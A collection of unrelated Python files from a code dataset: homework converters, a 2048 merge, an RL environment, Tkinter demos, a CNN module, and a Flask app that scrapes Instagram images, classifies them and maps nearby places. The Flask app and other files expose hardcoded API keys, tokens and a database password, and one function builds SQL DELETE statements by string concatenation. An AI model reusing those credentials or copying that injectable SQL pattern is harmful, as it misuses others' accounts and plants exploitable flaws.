convertToBinary(n):\n n = '{0:08b}'.format(int(n))\n print(n)\n\ndef convertACII(aList):\n for i in range(0,len(aList)):\n aList[i] = binascii.unhexlify((hex(aList[i]))[2:])\n aList[i] = aList[i].decode(\"utf-8\")\n aList = ''.join(aList)\n print(aList)\n\ndef convertBtoH(n):\n output = hex(int(n,2))\n print(output)\n \ndef convertOtoD(n):\n n = int(n)\n output = 0\n count = 0\n while(n != 0):\n output += (n%10)*(8**count)\n n = int(n/10)\n count+=1\n print(output)\n\nconvertToBinary(input(\"Enter an integer to convert to binary:\"))\nconvertACII([0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x20, 0x57])\nconvertBtoH(input(\"Enter Binary to convert to Hexdecimal:\"))\nconvertOtoD(input(\"Enter Octal to convert to decimal: \"))\n","sub_path":"hw03_Hongwei_Zhou.py","file_name":"hw03_Hongwei_Zhou.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"451726352","text":"\"\"\"\nMerge function for 2048 game.\n\"\"\"\n\ndef merge(line):\n \"\"\"\n Function that merges a single row or column in 2048.\n \"\"\"\n temp_line = list(line)\n line_copy = list(line)\n needs_sort = True\n summed = False\n while needs_sort:\n needs_sort = False\n for dummy_i in xrange(1, len(line)): # Shift non-zero numbers to start of the list\n if temp_line[dummy_i - 1] == 0 and temp_line[dummy_i] != 0:\n needs_sort = True\n line_copy[dummy_i - 1] = line_copy[dummy_i]\n line_copy[dummy_i] = 0\n temp_line = list(line_copy)\n\n if needs_sort == False and not summed: # Add adjacent identical numbers together, only loops once\n just_summed = False\n for dummy_i in xrange(1, len(line)):\n if temp_line[dummy_i - 1] == temp_line[dummy_i] and temp_line[dummy_i] != 0 and not just_summed:\n line_copy[dummy_i - 1] *= 2\n line_copy[dummy_i] = 0\n just_summed = True\n else:\n just_summed = False\n needs_sort = True\n summed = True\n temp_line = list(line_copy)\n return line_copy\n","sub_path":"part 3 - principles of computing 1/week_1_2048_merge.py","file_name":"week_1_2048_merge.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"391269222","text":"import numpy as np\n\nfrom gym.envs.toy_text import discrete\n\n\nclass GamblerEnv(discrete.DiscreteEnv):\n def __init__(self, goal_amount=100, head_prob=0.4):\n nS = goal_amount + 1\n nA = goal_amount // 2 + 1\n P = dict()\n isd = np.ones(nS) / nS\n\n for s in range(0, nS, 1):\n P[s] = {a: [] for a in range(nA)}\n if s == 0 or s == goal_amount:\n continue\n\n for a in range(nA):\n if a > s or s + a > goal_amount:\n continue\n\n P[s][a].append((head_prob, s + a, 1 if s + a == goal_amount else 0, s + a == goal_amount))\n P[s][a].append((1 - head_prob, s - a, 1 if s - a == goal_amount else 0, s - a == goal_amount))\n\n super(GamblerEnv, self).__init__(nS, nA, P, isd)\n","sub_path":"lib/envs/gambler.py","file_name":"gambler.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"70548968","text":"# 2021-03-31, lucas.mayer.almeida@ccc.ufcg.edu.br\n# Calcula quantas sequencias são pa's com predeterminada razão\n\nrazao = int(input())\ntotal = 0\n\nwhile True :\n sequencia = input().split()\n if sequencia == [\"fim\"] :\n break\n pa = True\n for i in range(1, len(sequencia)) :\n if int(sequencia[i]) - razao != int(sequencia[i-1]) :\n pa = False\n if pa :\n total += 1\n\nprint(total)\n","sub_path":"atividades/quantas_pas/questao.py","file_name":"questao.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"606483202","text":"# 1. import Flask\nfrom flask import Flask, request, render_template, session, redirect, jsonify\nimport pandas as pd\nfrom splinter import Browser\nimport requests\nfrom bs4 import BeautifulSoup\nimport re\nimport operator as op\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\n\n# from IPython.display import Image\n# from IPython.core.display import HTML\nfrom time import sleep\n\n# import matplotlib.pyplot as plt\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras.preprocessing import image\nfrom tensorflow.keras.applications.xception import (\n Xception, preprocess_input, decode_predictions)\nfrom PIL import Image\nimport requests\nfrom io import BytesIO\n\nfrom tensorflow import keras\nfrom tensorflow.keras.preprocessing import image\nfrom tensorflow.keras.applications.vgg19 import (\n VGG19, \n preprocess_input, \n decode_predictions\n)\nimport plotly as py\nimport plotly.express as px\n\npd.set_option('display.max_colwidth', -1)\nurl = 'https://youtube.com'\n\n# #using beautifulsoup only, splinter not working for for loop\n# response = requests.get(url)\n# soup = BeautifulSoup(response.text, 'html.parser')\n# news = soup.find_all(\"h3\",class_=\"title\")\n# #extracting href and combining with url to get news url and append in list\n# news_urls = []\n# for n in range(0,3):\n# news_urls.append(url + news[n].a['href'])\n# news_df = pd.DataFrame()\n# for u in news_urls:\n# response = requests.get(u)\n# soup = BeautifulSoup(response.text, 'html.parser')\n# title = str(soup.find_all(\"h1\",class_=\"article_title\")).splitlines()[1]\n# rel_date = soup.find_all(\"span\",class_=\"release_date\")\n# rel_date = str(rel_date).splitlines()[1][2:]\n# para = soup.find_all(\"p\")\n# para = str(para[1]).replace(\"

\",\"\").replace(\"

\",\"\").replace(\"—\",\"\")\n# df = pd.DataFrame({\"date\":[rel_date],\"title\":[title],\"content\":[para]})\n# news_df = news_df.append(df)\n# news_df.to_html(\"news.html\")\n\n\n\n# 2. Create an app, being sure to pass __name__\napp = Flask(__name__)\n\n\n# 3. Define what to do when a user hits the index route\n@app.route(\"/\")\ndef home():\n print(\"Server received request for 'Home' page...\")\n return (\"interest scraper\")\n\n\n# 4. Define what to do when a user hits the /about route\n\n@app.route(\"/xception\", methods=[\"GET\", \"POST\"])\ndef xception():\n if request.method == \"POST\":\n instaid = request.form[\"instaid\"]\n \n #scraping images with beautifulsoup\n url = \"https://www.instagram.com/\" + instaid\n browser = Browser('chrome')\n browser.visit(url)\n sleep(1)\n bs = BeautifulSoup(browser.html, 'html.parser')\n\n #finds all the images in website and puts url in df\n images = bs.find_all('img', {'src':re.compile('.jpg')})\n image_urls = []\n for image in images: \n image_urls.append(str(image['src']))\n image_df = pd.DataFrame({\"image\":image_urls})\n \n import numpy as np\n import tensorflow as tf\n\n from tensorflow.keras.preprocessing import image\n from tensorflow.keras.applications.xception import (\n Xception, preprocess_input, decode_predictions)\n\n from PIL import Image\n import requests\n from io import BytesIO\n\n\n model = Xception(\n include_top=True,\n weights='imagenet')\n \n prds = []\n pcts = []\n for i in image_urls:\n url = i\n response = requests.get(url)\n img = Image.open(BytesIO(response.content))\n img = img.resize((299, 299), Image.NEAREST)\n x = image.img_to_array(img)\n x = np.expand_dims(x, axis=0)\n x = preprocess_input(x)\n predictions = model.predict(x)\n prds.append(decode_predictions(predictions, top=1)[0][0][1])\n pcts.append(decode_predictions(predictions, top=1)[0][0][2])\n# cnns.append(decode_predictions(predictions, top=3)[0])\n image_df[\"predictions\"] = prds\n image_df[\"%\"] = pcts\n image_df.sort_values(\"%\",ascending = False,inplace = True)\n image_df.reset_index(drop=True,inplace=True)\n \n# from IPython.display import Image\n# from IPython.core.display import HTML\n \n# def path_to_image_html(path):\n# return ''\n \n# print(\"Server received request for 'About' page...\")\n# return (image_df.to_html(escape=False ,formatters=dict(image=path_to_image_html)))\n \n gkey = \"AIzaSyA-Rjp6nOeJp6815Xt1Kkuxc5XKMiKl_yA\"\n depart = request.form[\"depart\"]\n target_radius = 1000\n \n records = pd.DataFrame()\n target_list = image_df.drop_duplicates(subset=\"predictions\", keep=\"first\")[\"predictions\"]\n targets = str(depart).split(\",\")\n for target in targets:\n # Build the endpoint URL\n target_url = (f'https://maps.googleapis.com/maps/api/geocode/json?address={target}&key={gkey}')\n geo_data = requests.get(target_url).json()\n\n\n target_adr = geo_data[\"results\"][0][\"formatted_address\"]\n lat = geo_data[\"results\"][0][\"geometry\"][\"location\"][\"lat\"]\n lng = geo_data[\"results\"][0][\"geometry\"][\"location\"][\"lng\"]\n\n target_coordinates = str(lat) + \",\" + str(lng)\n \n \n# target_radius = 800\n target_type = \"\"\n\n # set up a parameters dictionary\n\n for target_search in target_list:\n params = {\n \"location\": target_coordinates,\n \"keyword\": target_search,\n \"radius\": target_radius,\n \"type\": target_type,\n \"key\": gkey\n }\n\n # base url\n base_url = \"https://maps.googleapis.com/maps/api/place/nearbysearch/json\"\n\n # run a request using our params dictionary\n response = requests.get(base_url, params=params)\n places_data = response.json()\n\n n=0\n # while int(n) > len(places_data):\n while int(n) < len(places_data[\"results\"]):\n try:\n price=places_data[\"results\"][int(n)][\"price_level\"]\n except KeyError:\n price = \"NA\"\n try:\n link=places_data[\"results\"][int(n)][\"place_id\"]\n except KeyError:\n link = \"NA\"\n try:\n score = places_data[\"results\"][int(n)][\"rating\"]\n except KeyError:\n score = \"NA\"\n try:\n reviews = places_data[\"results\"][int(n)][\"user_ratings_total\"]\n except KeyError:\n reviews = \"NA\"\n try:\n lat = places_data[\"results\"][int(n)][\"geometry\"][\"location\"][\"lat\"]\n lon = places_data[\"results\"][int(n)][\"geometry\"][\"location\"][\"lng\"]\n# dist = pd.read_html(f\"http://boulter.com/gps/distance/?from={target_coordinates}&to={poi_coord}&units=k\")\n# distance = float(str(dist[1][1][1]).split(\" \")[0])\n except IndexError or TimeoutError:\n distance = \"NA\"\n# drive_url = f\"https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins={target_coordinates}&destinations={poi_coord}&key=AIzaSyA-Rjp6nOeJp6815Xt1Kkuxc5XKMiKl_yA\"\n# drive_res = requests.get(drive_url).json()\n# distance = drive_res[\"rows\"][0][\"elements\"][0][\"distance\"][\"value\"]/1000\n# duration= int(drive_res[\"rows\"][0][\"elements\"][0][\"duration\"][\"value\"]/60)\n# except KeyError:\n# distance = \"NA\"\n# drive_dur = \"NA\"\n \n# try:\n# walk_url = f\"https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins={target_coordinates}&destinations={poi_coord}&mode=walking&key=AIzaSyA-Rjp6nOeJp6815Xt1Kkuxc5XKMiKl_yA\"\n# walk_res = requests.get(walk_url).json()\n# distance = walk_res[\"rows\"][0][\"elements\"][0][\"distance\"][\"value\"]/1000\n# walk_dur = int(walk_res[\"rows\"][0][\"elements\"][0][\"duration\"][\"value\"]/60)\n# except KeyError:\n# walk_dur = \"NA\"\n \n# try:\n# transit_url = f\"https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins={target_coordinates}&destinations={poi_coord}&mode=transit&key=AIzaSyA-Rjp6nOeJp6815Xt1Kkuxc5XKMiKl_yA\"\n# transit_res = requests.get(transit_url).json()\n# transit_dur = int(transit_res[\"rows\"][0][\"elements\"][0][\"duration\"][\"value\"]/60)\n# except KeyError:\n# transit_dur = \"NA\"\n \n content = pd.DataFrame ({\"depart\":target_adr,\"poi\":target_search,\n \"name\":[places_data[\"results\"][int(n)][\"name\"]],\n \"score\":score,\n \"reviews\":reviews,\n \"price\":price,\n \"link\":link,\n \"address\":[places_data[\"results\"][int(n)][\"vicinity\"]],\n \"lat\":lat, \"lon\":lon})\n# \"drive\":duration,\n# \"public\":transit_dur,\n# \"walk\":walk_dur})\n records = records.append(content)\n n+=1\n records.reset_index(drop = True,inplace = True)\n# records[\"link\"]=records[\"link\"].apply(lambda x: 'link'.format(x))\n# return (records.to_html(escape=False))\n records[\"size\"] = 10\n px.set_mapbox_access_token(\"pk.eyJ1IjoidGl2bWU3IiwiYSI6ImNrMWEwZDVtNDI4Zm4zYm1vY3o3Z25zejEifQ._yTPkj3nXTzor72zIevLCQ\")\n fig = px.scatter_mapbox(records, lat=\"lat\", lon=\"lon\", color = \"poi\", size = \"size\", hover_name=\"name\",zoom = 13)\n fig.update_layout(autosize=True,width=1500,height=750)\n # ,margin=go.layout.Margin(l=50,r=50,b=100,t=100,pad=4))\n\n return(py.offline.plot(fig,output_type=\"div\"))\n\n return render_template(\"xception.html\")\n\n@app.route(\"/vgg19\", methods=[\"GET\", \"POST\"])\ndef vgg19():\n if request.method == \"POST\":\n instaid = request.form[\"instaid\"]\n \n #scraping images with beautifulsoup\n url = \"https://www.instagram.com/\" + instaid\n browser = Browser('chrome')\n browser.visit(url)\n sleep(1)\n bs = BeautifulSoup(browser.html, 'html.parser')\n\n #finds all the images in website and puts url in df\n images = bs.find_all('img', {'src':re.compile('.jpg')})\n image_urls = []\n for image in images: \n image_urls.append(str(image['src']))\n image_df = pd.DataFrame({\"image\":image_urls})\n \n import numpy as np\n import tensorflow as tf\n\n from tensorflow import keras\n from tensorflow.keras.preprocessing import image\n from tensorflow.keras.applications.vgg19 import (\n VGG19, \n preprocess_input, \n decode_predictions\n )\n\n from PIL import Image\n import requests\n from io import BytesIO\n\n\n model = VGG19(include_top=True, weights='imagenet')\n \n prds = []\n pcts = []\n for i in image_urls:\n url = i\n response = requests.get(url)\n img = Image.open(BytesIO(response.content))\n img = img.resize((224, 224), Image.NEAREST)\n x = image.img_to_array(img)\n x = np.expand_dims(x, axis=0)\n x = preprocess_input(x)\n predictions = model.predict(x)\n prds.append(decode_predictions(predictions, top=1)[0][0][1])\n pcts.append(decode_predictions(predictions, top=1)[0][0][2])\n# cnns.append(decode_predictions(predictions, top=3)[0])\n image_df[\"prediction\"] = prds\n image_df[\"%\"] = pcts\n image_df.sort_values(\"%\",ascending = False, inplace = True)\n \n from IPython.display import Image\n from IPython.core.display import HTML\n \n def path_to_image_html(path):\n return ''\n \n print(\"Server received request for 'About' page...\")\n return (image_df.to_html(escape=False ,formatters=dict(image=path_to_image_html)))\n\n return render_template(\"vgg19.html\")\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","sub_path":"local/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":13166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"175881748","text":"class TwoSum:\n\n def __init__(self):\n \"\"\"\n Initialize your data structure here.\n \"\"\"\n self.items = []\n \n\n def add(self, number):\n \"\"\"\n Add the number to an internal data structure..\n :type number: int\n :rtype: void\n \"\"\"\n self.items.append(number)\n \n\n def find(self, value):\n \"\"\"\n Find if there exists any pair of numbers which sum is equal to the value.\n :type value: int\n :rtype: bool\n \"\"\"\n lookup = {}\n for i, v in enumerate(self.items):\n if v not in lookup:\n lookup[v] = 1\n else:\n lookup[v] += 1\n for element in lookup:\n if (value - element) in lookup and (value - element) != element:\n return True\n if (value - element) in lookup and (value - element) == element and lookup[element] > 1:\n return True\n return False","sub_path":"mock/two_sum_iii.py","file_name":"two_sum_iii.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"611171959","text":"import numpy as np\nimport collections\nimport pymysql\nfrom nltk.tokenize import word_tokenize\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.feature_extraction.text import CountVectorizer\nimport time\n\nclass scan_result:\n def __init__(self, time_consumed, num_of_good_table, num_of_bad_table, num_of_good_row, num_of_bad_row, table_list):\n self.time = time_consumed\n self.num_of_good_table = num_of_good_table\n self.num_of_bad_table = num_of_bad_table\n self.num_of_good_row = num_of_good_row\n self.num_of_bad_row = num_of_bad_row\n self.table_list = table_list\n\nclass table_item:\n def __init__(self, table_name, col_name, data_list):\n self.table_name = table_name\n self.col_name = col_name\n self.data_list = data_list\n\ndef data_nlp_process(file_path):\n path = file_path\n fr = open(path, encoding='utf-8')\n data = []\n trans_list =[]\n data_processed = []\n for line1 in fr:\n data.append(line1)\n\n temp_list = []\n for i in range(len(data)):\n line_all = str(data[i]).split('^^')\n detail = line_all[2]\n produce = word_tokenize(detail)\n re = line_all[0] + '^^' + line_all[1] + '^^'\n for x in produce:\n re = re + x + '/'\n temp_list.append(re + '\\n')\n\n for i in temp_list:\n if len(i) < 10:\n continue\n line_all = i.split('^^')\n detail = line_all[2]\n detail = detail.replace('/>', '>')\n produce = detail.replace(',', '').replace('.', '').replace('?', ''). \\\n replace('//', ' ').replace('/', ' ')\n\n data_processed.append(line_all[0].replace('/', '') + '^^' + line_all[1] + '^^' + produce)\n\n total_raw = len(data)\n fr.close()\n return total_raw, data_processed\n\n\ndef trans_into_class(string, name_list, table_list):\n data_all = string.split('^^')\n t_name = data_all[0].strip()\n t_col = []\n t_detial = []\n for i in data_all[1].split(','):\n t_col.append(i)\n for j in data_all[2].split('>>'):\n j = j.strip()\n t_detial.append(j)\n\n if t_name not in name_list:\n name_list.append(t_name)\n new_tb = table_item(t_name, t_col, [t_detial])\n table_list.append(new_tb)\n else:\n for tb in table_list:\n if tb.table_name == t_name:\n tb.data_list.append(t_detial)\n\ndef TF_IDF(key_words, data_list):\n vectorizer = CountVectorizer() # Convert a collection of text documents to a matrix of token counts\n transformer = TfidfTransformer() # conunt every word's tf-idf value\n\n\n #test word count matrix\n clean_data = data_list\n feed_data = []\n for i in range(len(clean_data)):\n feed_data.append(str(clean_data[i]).split('^^')[2])\n\n test_count = vectorizer.fit_transform(feed_data)\n #print(test_count.toarray()) # count matrix\n #print(vectorizer.get_feature_names()) # put into vectorizer\n #test end\n\n #test tf-idf matrix\n test_tfidf = transformer.fit_transform(test_count)\n #print(test_tfidf.toarray()) # get count matrix's IF-IDF value\n #print(test_tfidf.toarray().shape)\n #test end\n\n #process the key words, get the matrix of its word count\n keywords_nlp = word_tokenize(key_words)\n coll = collections.Counter(keywords_nlp)\n new_vectorizer = []\n\n for word in vectorizer.get_feature_names(): # originial word count\n new_vectorizer.append(coll[word])\n #print(new_vectorizer)\n\n '''original TF-IDF matrix process'''\n new_tfidf = np.array(test_tfidf.toarray()).T\n # print(new_tfidf)\n # print(new_tfidf.shape)\n\n '''matrix * matrix'''\n new_vectorizer = np.array(new_vectorizer).reshape(1, len(new_vectorizer))\n # print(new_vectorizer)\n scores = np.dot(new_vectorizer, new_tfidf)\n\n # print(type(scores))\n new_scores = list(scores[0]) # matrix to list\n\n max_location = sorted(enumerate(new_scores), key=lambda x: x[1]) # sort and reverse\n max_location.reverse()\n final_location = []\n for i in range(len(max_location)): # find the max location\n #print(max_location[i][0]) id\n #print(max_location[i][1]) score\n if max_location[i][1] > 0:\n final_location.append(max_location[i][0])\n print(\"resluts are:\")\n result = []\n for i in range(len(final_location)):\n result.append(clean_data[final_location[i]])\n print(clean_data[final_location[i]])\n\n return result\n\n\n\ndef delete_data(table_item):\n table_name = table_item.table_name\n data_list = table_item.data_list\n id_list = []\n for i in range(len(data_list)):\n id_list.append(data_list[i][0])\n\n db = pymysql.connect(\"localhost\", \"root\", \"2574256\", \"test\")\n cursor = db.cursor()\n for id in id_list:\n\n sql = 'DELETE FROM ' + table_name + ' WHERE id = ' + id\n print(sql)\n\n try:\n cursor.execute(sql)\n db.commit()\n print('done')\n except:\n print('error')\n db.rollback()\n\n db.close()\n\nif __name__ == '__main__':\n name_list = []\n table_list = []\n raw_result = []\n path = '/Users/liyuwen/Desktop/272/Project-Team-29/data/data_all.txt'\n\n print('please input key words:')\n key_words = input()\n start = time.time()\n\n data_list = data_nlp_process(path)[1]\n raw_result = TF_IDF(key_words, data_list)\n\n end = time.time()\n for i in raw_result:\n trans_into_class(i, name_list, table_list)\n time_consumed = end - start\n\n for tb in table_list:\n print(tb.table_name)\n print(tb.col_name)\n print(tb.data_list)\n\n all_table = 2\n good_table = all_table - len(table_list)\n total_raw = data_nlp_process(path)[0]\n good_raw = total_raw - len(raw_result)\n\n scan_result = scan_result(time_consumed, good_table, len(table_list), good_raw,len(raw_result), table_list)\n print(scan_result.time)\n print(scan_result.num_of_good_table)\n print(scan_result.num_of_bad_table )\n print(scan_result.num_of_good_row)\n print(scan_result.num_of_bad_row)\n","sub_path":"code/algorithm_and_backend_original.py","file_name":"algorithm_and_backend_original.py","file_ext":"py","file_size_in_byte":6051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"115063061","text":"import requests\nimport json\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom selenium import webdriver\nfrom time import sleep\nfrom selenium.webdriver.firefox.options import Options\n#from selenuim.webdriver.chrome.options import Options\ndata=[]\ndef get_data_group(group_name):\n headers = {\n 'X-M2M-Origin': 'admin:admin',\n 'Content-type': 'application/json'\n }\n group_uri = server+group_name\n response = requests.get(group_uri, headers=headers)\n try:_resp = json.loads(response.text)\n except:print(\"lol:error\")\n val=[]\n val.append(_resp['m2m:cin']['lt'])\n val.append(_resp['m2m:cin']['con'])\n #val.append(group_name)\n data.append(val)\n return response.status_code, _resp\n\nif _name=='main_':\n\n opts = Options()\n opts.set_headless()\n assert opts.headless # Operating in headless mode\n print(\"in main function\")\n driver = webdriver.Firefox(options=opts)\n driver.get(\"http://onem2m.iiit.ac.in:443/webpage/welcome/index.html?context=/~&cseId=in-cse\")\n sleep(3)\n driver.find_element_by_tag_name(\"button\").click()\n sleep(5)\n driver.find_element_by_xpath(\"//li/ul/li[29]\").click()\n sleep(4)\n driver.find_element_by_xpath(\"//li/ul/li[29]/ul/li[3]\").click()\n sleep(6)\n ele1 = driver.find_elements_by_xpath(\"//li/ul/li[29]/ul/li[3]/ul/*\")\n print(len(ele1))\n lst1=[]\n for i in ele1:\n lst1.append(i.text)\n server=\"http://onem2m.iiit.ac.in:443/~/in-cse/in-name/Team27_Water_flow_monitoring/node_1/\"\n for i in lst1:\n get_data_group(i)\n print(data)\n","sub_path":"data_scrape.py","file_name":"data_scrape.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"149808584","text":"__author__ = 'zwx'\n\nfrom tkinter import *\n\ndef colorgen():\n while True:\n yield \"red\"\n yield \"yellow\"\n yield \"Green\"\n\nALL = N+S+W+E\n\nclass Application(Frame):\n def __init__(self, master=None):\n colors = colorgen()\n Frame.__init__(self, master)\n self.master.rowconfigure(0, weight=1)\n self.master.columnconfigure(0, weight=1)\n self.grid(sticky=ALL)\n for r in range(1, 3):\n self.rowconfigure(r, weight=1)\n Label(self, text=\"Frame {0}\".format(r), bg=next(colors)).grid(row=r, column=1, columnspan=2, sticky=ALL)\n\n self.rowconfigure(3, weight=2)\n for c in range(1, 3):\n self.columnconfigure(c, weight=1)\n Button(self, text=\"Button {0}\".format(c)).grid(row=3, column=c, sticky=E+W)\n\n Frame(self, borderwidth=10)\n Label(self, text=\"Frame 3\", borderwidth=10, bg=next(colors)).grid(row=1, column=3, rowspan=2, columnspan=3, sticky=ALL)\n\n for c in range(3, 6):\n self.columnconfigure(c, weight=1)\n Button(self, text=\"Button {0}\".format(c)).grid(row=3, column=c, sticky=E+W)\n\n\nroot = Tk()\napp = Application(master=root)\napp.mainloop()\n","sub_path":"IntroGUI/grdspan.py","file_name":"grdspan.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"598210528","text":"import tkinter\nfrom tkinter import *\ntop = tkinter.Tk()\ntop.geometry('700x400')\ntop['background']='#856ff8'\nflag=0\n\n\n\n# Function Definitions for the dropbox\n\ndef dist():\n global flag\n flag=1\n mystr1 = StringVar() \n mystr1.set('Centimeter') \n entry1 = Entry(textvariable=mystr1,state=DISABLED).place(x = 150,y = 60)\n\ndef wt():\n global flag\n flag=1\n mystr1 = StringVar() \n mystr1.set('Grams') \n entry1 = Entry(textvariable=mystr1,state=DISABLED).place(x = 150,y = 60)\n\ndef temp():\n global flag\n flag=3\n mystr1 = StringVar() \n mystr1.set('Celsius') \n entry1 = Entry(textvariable=mystr1,state=DISABLED).place(x = 150,y = 60)\n\n\ndef dist1():\n mystr2 = StringVar() \n mystr2.set('Meter') \n entry2 = Entry(textvariable=mystr2,state=DISABLED).place(x = 550,y = 60)\n\ndef wt1():\n mystr2 = StringVar() \n mystr2.set('Kilorams') \n entry2 = Entry(textvariable=mystr2,state=DISABLED).place(x = 550,y = 60)\n\ndef temp1():\n mystr2 = StringVar() \n mystr2.set('Fahreniet') \n entry2 = Entry(textvariable=mystr2,state=DISABLED).place(x =550,y = 60)\n\ndef cnt():\n global input,res\n mystr3 = StringVar() \n if flag==1:\n res=int(input.get())/1000\n if flag==3:\n res=int(input.get())*9/5+32\n mystr3.set(res) \n entry3 = Entry(textvariable=mystr3,state=DISABLED).place(x =500,y = 260)\n\n\n\n\n# Title\n\nl = Label(top, text = \" * Units Converter using TKinter * \") \nl.config(font =(\"Calibri\", 14)) \n\n\n\n# Setting for the first dropbox (COnvert from)\n\nmenubutton1 = Menubutton(top, text = \"Convert From\") \nmenubutton1.menu = Menu(menubutton1) \nmenubutton1[\"menu\"]= menubutton1.menu \n \nmenubutton1.menu.add_checkbutton(label = \"Centimeter\",command=dist) \nmenubutton1.menu.add_checkbutton(label = \"Grams\",command=wt) \nmenubutton1.menu.add_checkbutton(label = \"Celsius\",command=temp) \n\n\n\n# Setting for the first dropbox (Convert to)\n\nmenubutton2 = Menubutton(top, text = \"Convert To\") \nmenubutton2.menu = Menu(menubutton2) \nmenubutton2[\"menu\"]= menubutton2.menu \n \nmenubutton2.menu.add_checkbutton(label = \"Meter\",command=dist1) \nmenubutton2.menu.add_checkbutton(label = \"KiloGrams\",command=wt1) \nmenubutton2.menu.add_checkbutton(label = \"Fahreniet\",command=temp1) \n\n\n\n\n\n# Selction widgets\n\nmystr1 = StringVar() \nmystr1.set('-Select-') \nentry1 = Entry(textvariable=mystr1,state=DISABLED).place(x = 150,y = 60)\n\nmystr2 = StringVar() \nmystr2.set('-Select-') \nentry2 = Entry(textvariable=mystr2,state=DISABLED).place(x = 550,y = 60)\n\n\n# Placing the widgets\n\nmenubutton1.place(x = 50,y = 60) \nmenubutton2.place(x = 450,y = 60) \n\n\n# Input Widget\n\ninput = Entry(top,width = 20)\ninput.place(x = 60,y = 260)\n\n\n# Final Output Widget\n\nmystr3 = StringVar() \nmystr3.set('0') \nentry3 = Entry(textvariable=mystr3,state=DISABLED).place(x = 500,y = 260)\n\n\n\n# Convert Button\ncnvt = Button(top,text=' Convert ',bg = 'yellow',command=cnt)\ncnvt.place(x = 300,y = 260)\n\nl.pack()\ntop.mainloop()","sub_path":"Python/College_induction/Converter_tkinter.py","file_name":"Converter_tkinter.py","file_ext":"py","file_size_in_byte":2952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"205639478","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nCS224N 2019-20: Homework 5\n\"\"\"\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass CNN(nn.Module):\n ### YOUR CODE HERE for part 1g\n def __init__(self, filter_num, char_embed_size, m_word=21, kernel_size=5, padding_num=1):\n super(CNN, self).__init__()\n\n self.m_word = m_word\n self.char_embed_size = char_embed_size\n self.filter_num = filter_num\n self.kernel_size = kernel_size\n self.padding_num = padding_num\n self.conv = nn.Conv1d(in_channels=self.char_embed_size, out_channels=self.filter_num, \n kernel_size=self.kernel_size, padding=self.padding_num)\n\n\n def forward(self, x_reshaped: torch.Tensor) -> torch.Tensor:\n \"\"\"\n @param x_reshaped(torch.Tensor): shape (batch_size, char_embed_size, m_word)\n\n @return x_conv_out(torch.Tensor): shape (batch_size, filter_num(word_embed_size))\n \"\"\"\n\n x_temp = self.conv(x_reshaped)\n x_temp = F.relu(x_temp) #shape(batch_size, filter_num(word_embed_size), ***)\n self.maxpool = nn.MaxPool1d(kernel_size=x_temp.size(2))\n x_conv_out = self.maxpool(x_temp)\n x_conv_out = torch.squeeze(x_conv_out, dim=2)\n\n return x_conv_out\n\n ### END YOUR CODE\n\n","sub_path":"a5/a5/cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"442260653","text":"#-*- coding:utf-8 -*-\n__author__ = 'GaoShuai'\nimport requests,urllib\nimport re\nimport pymysql\nimport cgi\nimport redis\nimport platform\nfrom lxml import etree\n\n\n\ndef bijia_api(value):\n url = 'http://s.manmanbuy.com/default.aspx?key='+value\n response = requests.get(url=url)\n print(response.text)\n\n\n# if __name__=='__main__':\n # headers = {\n # \"User-Agent\": \"Mozilla/5.0 (X11; U; OpenBSD ppc; en-US; rv:1.8.0.10) Gecko/20070223 Firefox/1.5.0.10\",\n # \"Referer\":\"http://www.baidu.com\",\n # }\n # url = 'http://s.manmanbuy.com/Default.aspx?key=iphonex'\n # # url = 'http://www.baidu.com'\n # html = requests.get(url=url,headers=headers)\n # response = etree.HTML(html.text)\n # print(html.text)\n # item_div_list = response.xpath('//div[@class=\"div1100\"]')\n # print(item_div_list)\n # string = b'\\xe5\\xad\\xa6\\xe9\\x99\\xa2'\n # print(string.decode('utf-8'))\n # redis_config = {\n # \"host\": \"139.199.117.41\",\n # \"port\": 6379\n # }\n # redis_conn = redis.Redis(**redis_config)\n # # print(redis_conn.zrange(\"score\",0,10000,False))\n # print(redis_conn.zscore(\"score\",\"a\"))\n # url = cgi.escape(\"https://item.jd.hk/3800679.html\")\n # url = urllib.parse.quote(\"https://item.jd.hk/3800679.html\")\n # print(url)\nimport sys\nimport math\nfrom texttable import Texttable\n\n\n# 计算余弦距离\ndef getCosDist(user1, user2):\n sum_x = 0.0\n sum_y = 0.0\n sum_xy = 0.0\n for key1 in user1:\n for key2 in user2:\n if key1[0] == key2[0]:\n sum_x += key1[1] * key1[1]\n sum_y += key2[1] * key2[1]\n sum_xy += key1[1] * 